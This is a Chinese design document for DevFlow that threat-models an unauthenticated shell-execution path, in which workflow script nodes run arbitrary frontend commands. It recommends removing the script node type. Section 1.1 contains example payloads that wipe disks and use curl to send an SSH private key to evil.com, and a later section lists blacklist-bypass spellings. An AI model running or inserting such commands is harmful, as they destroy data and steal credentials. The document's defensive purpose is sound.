Files
DevFlow/docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md
绝尘 998a2f243d 文档: 架构方案文档(意图识别论证+多主题愿景/论证+文档物理分类+边界清晰化)
squash合并:
- 意图识别层论证(8维度+10业界佐证)
- 多主题上下文管理愿景+并存论证+补充论证(多轮agentic)
- 架构设计文档物理分类(四子目录+INDEX+命名规范+引用同步+边界清晰化)
- 前端架构技术债清单归档
2026-06-19 15:04:04 +08:00

17 KiB
Raw Blame History

工作流脚本执行边界设计R-PD-2

来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2 日期2026-06-15 状态:设计待核对(推荐方案已定,落地前需用户确认力度)


一、问题run_workflow IPC 经 ScriptNode 执行前端任意 shellsecurity P1

1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)

前端 runWorkflow(name, dag, config)
  └─ invoke('run_workflow', { name, dag: DagDef, config })   ← IPC 边界dag 为前端任意构造的 serde JSON
       └─ src-tauri/commands/workflow.rs:36 run_workflow
            ├─ state.registry.build_dag(&dag)                  ← 仅校验节点类型已注册 + 边两端存在
            └─ DagExecutor::new(...).run(&runtime_dag, config)  ← 异步后台执行
                 └─ ScriptNode::execute(ctx)  [crates/df-nodes/script_node.rs:11]
                      ├─ command = ctx.config["command"]       ← 原始字符串,无校验
                      └─ ShellRequest { command, working_dir, .. }
                           └─ df_execute::shell::execute       [crates/df-execute/shell.rs:34]
                                ├─ Windows: cmd /C <command>
                                └─ Unix: sh -c <command>        ← 全 shell 解释器,含管道/重定向/通配

前端可提交任意 DagDef

// 等价攻击载荷(任一)
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }

build_dagcrates/df-workflow/registry.rs:42)只做两类校验:

  1. node_type 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
  2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过

config.command / config.working_dir 无任何校验,直接落到 shell 解释器。

1.2 为何完全独立于 AI 工具 RiskLevel 审批链

DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:

通路 入口 风控机制 审批位置
AI 工具调用LLM 驱动) agentic loop → AiToolRegistry RiskLevel::{Low, Medium, High} audit.rs:265-271Medium/High 写入 AiSession.pending_approvals,前端 ToolCard 阻塞审批
工作流执行(前端直接驱动) run_workflow IPC → DagDef DagDef 无 RiskLevel 字段ScriptNode 不查 pending_approvals

关键不对称点:

  • AI 工具调 shell 走 execute_commandtool_registry.rsRiskLevel::High + 审批
  • 工作流 ScriptNode 调 shell 走 df_execute::shell::execute零风控
  • 两条通路最终都落到同款 cmd /C | sh -c,但前者有闸门、后者无闸门

更隐蔽的二次风险AI 工具 run_workflowtool_registry.rs:383-389)本身是 RiskLevel::High 且目前是 no-op 桩R-PD-12LLM 即使调用也只拿到 { note: "请通过工作流页面运行" }。但 LLM 若未来引导用户提交特定 DagDef 到 run_workflow IPC(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。


二、现状

2.1 DagDef 前端构造,无后端校验

DagDefcrates/df-workflow/dag_def.rs:7-11)是纯数据结构:

pub struct DagDef {
    pub nodes: HashMap<String, NodeDef>,   // node_type: String, config: serde_json::Value
    pub edges: Vec<EdgeDef>,
}

run_workflowworkflow.rs:36)收 dag: DagDef 参数Tauri 反序列化后直接 build_dag。前端唯一构造点是 src/views/ProjectDetail.vue:258-268demoDag

const demoDag = {
  nodes: [
    { id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
    { id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
    { id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
  ],
  edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
}

全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。

2.2 ScriptNode 无约束

crates/df-nodes/script_node.rs:11-42:从 config.command 取原始串,原样塞 ShellRequest.commandworking_dir 也原样透传。无白名单、无路径锚定、无审批查询。

2.3 shell 解释器全权委托

crates/df-execute/shell.rs:37-45cmd /C <command> / sh -c <command>,命令字符串经完整 shell 解释器管道、重定向、变量展开、通配、命令分隔符全开。R-P1-2 已修 kill_on_drop僵尸进程问题但不影响安全边界。


三、方案三选一详析

方案 ①build_registry 不注册 "script",掐断节点类型(最安全最小)

做法src-tauri/src/state.rs:227-229 删除 registry.register("script", ...)build_dag 遇到 node_type=="script"registry.rs:37未注册的节点类型 分支直接 bail。

四维对比

维度 评价
安全性 最高。攻击面从「任意 shell」直接归零无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题
功能性 演示功能报废ProjectDetail.vue demoDag 三步 echo 全部 build_dag 失败,runDemoWorkflow 报错。HumanNode/AiNode 不受影响(仍注册)
改动面 最小。1 处删除state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线
误杀风险 零误杀无合法用户脚本可误杀。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策

方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批

做法

  • ScriptNode 执行前,校验 working_dir(默认取 NodeContext 的项目 path必须 canonicalize() 后落在某已绑定项目根下(防 ../ 逃逸)
  • 命令前缀扫描:del /rm -rfcurlwget> /dev/mkfsformat 等命中 → 改走 HumanNode 审批流程emit HumanApprovalRequest,复用现有 approve_human_approval IPC

四维对比

维度 评价
安全性 。挡住工作目录外写、明显高危前缀。但前缀黑名单天然不完备curl 可写成 c""url$(curl)cu"+"rl、PowerShell 别名 iwr;管道注入 echo x; rm -rf /;环境变量展开 $EVIL。攻击者绕过黑名单的成本远低于维护黑名单的成本
功能性 保留构建脚本能力(未来真要跑 npm run build / mvn package 可用),且高危操作有审批兜底
改动面 。ScriptNode 加路径校验canonicalize + starts_with+ 黑名单扫描 + 审批注入逻辑ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response复用 human_node.rs 的 select! 模式,~80 行)
误杀风险 高且无解。合法 npm run deploy 含 "deploy" 不命中黑名单但实际可能外发;合法 git clean -fd 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点

方案 ③ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤

做法:定义允许的命令前缀(npmgitmvncargoechonode 等),命令必须以白名单前缀开头;参数层过滤 ;&&|$()、反引号等 shell 元字符。

四维对比

维度 评价
安全性 中高。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,已知是不可解问题参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(git pushnpm publishcargo run -- <任意>
功能性 受限。只能跑白名单内的命令族,echo 演示能保,但任意 shell 管道/组合命令报废
改动面 。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer~50 行,且 sanitizer 难写对)
误杀风险 。合法 npm run build && npm run test&& 过滤误杀;合法 `git log --grep="feat

四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线

4.1 推荐 + 理由

推荐方案 ①:删除 src-tauri/src/state.rs:227-229 的 "script" 注册,同步下线 ProjectDetail.vue 的 demoDag或改用 "human" 节点演示审批流)。

核心取舍DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是不完备的运行时博弈——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。

触发升力的条件:若未来 DevFlow 要把工作流做成真实 CI/CD跑项目构建/部署脚本),此时不应回头启用 ScriptNode + 加黑名单,而应新建一个独立的安全执行节点(如 BuildNode),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。

4.2 改动面(具体函数 + 行号)

后端(必须)

src-tauri/src/state.rs:225-237 build_registry,删除 script 注册:

// 改前
fn build_registry() -> NodeRegistry {
    let mut registry = NodeRegistry::new();
    registry.register("script", |_config| {
        Box::new(df_nodes::script_node::ScriptNode)
    });
    registry.register("human", |_config| { ... });
    registry.register("ai", |_config| { ... });
    registry
}

// 改后
fn build_registry() -> NodeRegistry {
    let mut registry = NodeRegistry::new();
    // "script" 节点不注册ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
    // 前端可构造任意 DagDef 触达无审批 shellR-PD-2。DevFlow 工作流当前为纯演示
    // 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo无真实构建/部署脚本
    // 需求。需要脚本执行能力时新建独立 BuildNode白名单 + 项目目录锚定 + 复用 AI 工具
    // RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
    registry.register("human", |_config| { ... });
    registry.register("ai", |_config| { ... });
    registry
}

效果:run_workflow 提交含 node_type=="script" 的 DagDef 时,build_dagregistry.createregistry.rs:37未注册的节点类型: script bailIPC 直接返 Err不入库、不进后台执行。

前端(必须,否则 demoDag 触发 build_dag 失败报错)

src/views/ProjectDetail.vue:258-278,二选一:

  • a) 下线 demoDag:删除 demoDag 常量 + runDemoWorkflow 函数 + 模板中的「运行演示工作流」按钮(最干净)
  • b) 改 human 节点演示demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力

推荐 a工作流演示能力本就单薄移除比换内容更诚实待真实工作流需求落地时一并重做

保留不删

  • crates/df-nodes/script_node.rs 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 df_execute::shell::execute 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry见 R-PD-2 设计文档」
  • crates/df-execute/shell.rs 完全保留R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)

4.3 改动量与风险评级

  • 后端3 行删除 + 1 段注释
  • 前端:~25 行删除demoDag + runDemoWorkflow + 按钮)
  • 风险:极低。功能面仅损失演示能力本就单薄无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回registry.rs:37前端 IPC 拿到 Err 正常展示。

五、风险与未决

5.1 本方案(①)的风险

风险 评估
演示功能报废影响产品认知 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示
未来需要脚本能力时回头启用 ScriptNode 决策点:见 §4.1,明确「新建 BuildNode不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定
ScriptNode 死代码残留引发误解 中。需在 script_node.rs 顶部加注释指回本文档(已在 §4.2 列入改动面)

5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)

  • 白名单/黑名单误杀合法构建命令npm run deploy && git push 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
  • 工作目录 canonicalize 逃逸Windows 上 \\?\C:\ 短路径、符号链接、junction、UNC 路径(\\server\share)均可绕过 Path::starts_withUnix 上 ~//proc/self/root 逃逸。canonicalize 只解析 symlink不挡 mount boundary
  • 审批链与 workflow 异步语义结合ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 HumanApprovalRequest + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做HumanNode 已踩过 TOCTOU 坑 R-P1-3再踩一遍成本高

六、关联

6.1 与 R-PD-12run_workflow AI 工具 no-op 桩)的协同

R-PD-12 处理 AI 工具 run_workflowtool_registry.rs:383-389):当前 RiskLevel::High + no-op 返 { note: "请通过工作流页面运行" },前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。

协同关系

  • 本方案R-PD-2先把 workflow 系统的 shell 边界封死(掐断 ScriptNodeR-PD-12 再决定 AI 工具 run_workflow 的去留才安全
  • 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef此时 workflow 边界必须先就位(即本方案先行)
  • 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
  • 顺序约束R-PD-2 先于 R-PD-12 落地(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道

6.2 与 shell.rs R-P1-2kill_on_drop的关系

R-P1-2已修解决的是 shell::execute 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。

  • 两者正交R-P1-2 让被允许执行的 shell 更可靠R-PD-2 让不该执行的 shell 根本不执行
  • R-P1-2 已落地的 kill_on_drop(true) + spawn + wait_with_output 在本方案后保留不变shell.rs 完全不动,未来 BuildNode 复用)
  • 即使本方案掐断 ScriptNodeshell.rs 的修复仍有价值BuildNode 未来会调它,且修复本身是独立可靠性提升

七、落地动作清单

  • 后端:src-tauri/src/state.rs:227-229 删除 registry.register("script", ...) + 加决策注释
  • 后端:crates/df-nodes/script_node.rs 顶部加注释「当前未注册到 NodeRegistry见 docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md」
  • 前端:src/views/ProjectDetail.vue 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a
  • 文档:本设计文档归档到 docs/02-架构设计/
  • 决策记录补一条功能决策记录ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
  • todoR-PD-12 标注「依赖 R-PD-2 先落地」
  • 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路